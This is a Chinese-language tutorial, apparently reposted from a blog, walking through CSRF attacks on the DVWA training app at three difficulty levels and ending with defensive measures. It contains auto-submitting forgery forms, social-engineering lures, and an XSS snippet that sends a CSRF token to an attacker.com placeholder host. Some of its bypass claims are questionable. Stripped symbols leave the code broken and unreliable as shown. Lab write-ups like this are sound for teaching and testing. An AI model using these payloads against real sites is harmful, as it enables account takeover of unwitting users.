DVWA靶场CSRF通关保姆级教程:从Low到High,手把手教你三种难度实战(附BurpSuite插件用法)
DVWA靶场CSRF漏洞实战从基础利用到自动化攻击第一次接触CSRF漏洞时我完全被这种借刀杀人的攻击方式震惊了。想象一下你正在浏览一个看似无害的网页而它却在后台悄悄修改了你在另一个网站上的密码——这就是CSRF攻击的可怕之处。DVWA(Damn Vulnerable Web Application)作为最受欢迎的漏洞练习平台之一为我们提供了从低到高三种不同安全级别的CSRF实战环境。本文将带你深入探索每个级别的攻防细节特别聚焦于如何将BurpSuite等专业工具融入攻击流程实现从手工测试到自动化攻击的进阶。1. 环境准备与基础概念在开始实战之前我们需要搭建好实验环境并理解CSRF的核心原理。DVWA可以通过Docker快速部署docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwa访问http://localhost后使用默认凭证admin/password登录。在DVWA Security设置中将安全级别调整为Low。CSRF攻击三要素用户身份验证受害者已在目标网站登录会话保持浏览器保持登录状态通过Cookie诱导触发攻击者诱导用户访问恶意请求表CSRF与XSS关键区别特性CSRFXSS攻击目标利用用户权限执行操作窃取用户数据或会话执行位置目标网站用户浏览器防御重点请求来源验证输入输出过滤提示在测试CSRF漏洞前务必确保已在DVWA中登录并保持会话有效。建议使用Firefox或Chrome的无痕模式进行测试避免浏览器缓存干扰。2. Low级别基础CSRF利用实战Low级别移除了所有CSRF防护措施是最理想的入门练习环境。我们首先通过最简单的URL参数修改来理解攻击原理。2.1 手工漏洞利用在DVWA中导航到CSRF模块尝试将密码修改为123456观察浏览器地址栏出现的URL结构http://localhost/vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange#这个URL包含了所有修改密码所需的参数。我们可以直接复制这个URL在新标签页打开密码就会被修改——这就是最基本的CSRF攻击。2.2 使用短链接伪装真实攻击中攻击者会隐藏恶意URL。我们可以使用短链接服务访问可靠的短链接生成网站如bit.ly将恶意URL转换为短链接通过邮件或社交媒体诱使用户点击!-- 恶意网页示例 -- a hrefhttps://bit.ly/3xYzAbc点击领取免费礼品/a2.3 BurpSuite PoC生成BurpSuite专业版提供了更专业的攻击构造工具拦截修改密码的请求右键选择Engagement tools → Generate CSRF PoC调整HTML代码添加诱骗点击的元素复制代码保存为HTML文件!-- BurpSuite生成的PoC示例 -- html body form actionhttp://localhost/vulnerabilities/csrf/ methodGET input typehidden namepassword_new valuehacked input typehidden namepassword_conf valuehacked input typehidden nameChange valueChange input typesubmit value点击查看惊喜 /form scriptdocument.forms[0].submit();/script /body /html3. Medium级别绕过Referer检查Medium级别引入了基础的防护措施——检查HTTP Referer头。我们需要理解并绕过这一防护。3.1 分析防护机制尝试直接复制Low级别的攻击URL在Medium级别使用会发现操作失败。通过BurpSuite拦截请求可以观察到合法请求包含完整的Referer头Referer: http://localhost/vulnerabilities/csrf/直接URL访问的请求Referer头缺失或被过滤查看DVWA源码medium.php可以发现关键验证逻辑if(stripos($_SERVER[HTTP_REFERER], $_SERVER[SERVER_NAME]) false) { die(请求来源不合法); }3.2 两种绕过方法方法一伪造Referer头创建包含恶意表单的HTML文件使用meta标签控制Refererhtml head meta namereferrer contentunsafe-url /head body form actionhttp://localhost/vulnerabilities/csrf/ methodGET !-- 表单字段 -- /form scriptdocument.forms[0].submit();/script /body /html方法二利用同源策略漏洞如果目标站点存在子域名控制不严的问题可以在子域名下托管攻击页面假设blog.localhost是目标站点的子域名在blog.localhost上托管恶意HTML生成的Referer将包含localhost通过验证4. High级别自动化Token劫持High级别引入了CSRF Token这一强防护机制我们需要更高级的技术来绕过。4.1 理解Token机制观察High级别的请求会发现多了一个user_token参数http://localhost/vulnerabilities/csrf/?password_newhackedpassword_confhackedChangeChangeuser_token8a7d6f5g4h3j2k1#这个Token每次请求都会变化并与用户会话绑定使得传统的CSRF攻击失效。4.2 使用BurpSuite插件自动化CSRF Token Tracker插件可以自动获取和更新Token在BurpSuite的BApp Store安装CSRF Token Tracker拦截一个修改密码的请求发送到Repeater在插件界面配置Host: localhostToken parameter name: user_token勾选Update token in real time每次重放请求时插件会自动获取新Token并更新表CSRF防护级别与绕过技术对比防护级别防护措施绕过技术工具需求Low无直接URL构造无MediumReferer检查Referer伪造/子域名利用基本HTTP工具HighCSRF TokenToken劫持/XSS组合攻击BurpSuite插件4.3 组合XSS漏洞攻击如果目标站点同时存在XSS漏洞可以组合利用通过XSS获取当前页面的CSRF Token构造包含动态Token的恶意请求自动提交请求// 通过XSS获取Token的示例代码 var token document.getElementsByName(user_token)[0].value; var img new Image(); img.src http://attacker.com/steal?token token;5. 防御措施与最佳实践理解了攻击手段后我们更应关注如何有效防御CSRF攻击。以下是几种经过验证的防护方案5.1 同步Token模式# Flask示例生成和验证CSRF Token from flask import Flask, session, request import os app Flask(__name__) app.secret_key os.urandom(24) app.before_request def csrf_protect(): if request.method POST: token session.pop(_csrf_token, None) if not token or token ! request.form.get(_csrf_token): abort(403) def generate_csrf_token(): if _csrf_token not in session: session[_csrf_token] os.urandom(24).hex() return session[_csrf_token]5.2 SameSite Cookie属性现代浏览器支持通过Cookie属性防御CSRFSet-Cookie: sessionidxxxx; SameSiteStrict; Secure; HttpOnlyStrict完全禁止跨站发送CookieLax允许安全方法如GET的跨站请求5.3 双重提交Cookie服务器设置随机Token到Cookie前端JavaScript读取Cookie并作为表单字段提交服务器验证Cookie和表单中的Token是否匹配// 前端自动添加Token document.addEventListener(DOMContentLoaded, function() { let token document.cookie.match((^|;) ?csrf_token([^;]*)(;|$)); if(token) { let input document.createElement(input); input.type hidden; input.name csrf_token; input.value token[2]; document.forms[0].appendChild(input); } });在DVWA靶场的CSRF实战中最令我印象深刻的是High级别的Token绕过过程。第一次成功使用CSRF Token Tracker插件自动完成攻击时我真正理解了自动化工具在渗透测试中的价值。不过要记住这些技术只应用于合法授权的安全测试任何未经授权的攻击尝试都是违法的。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2581783.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!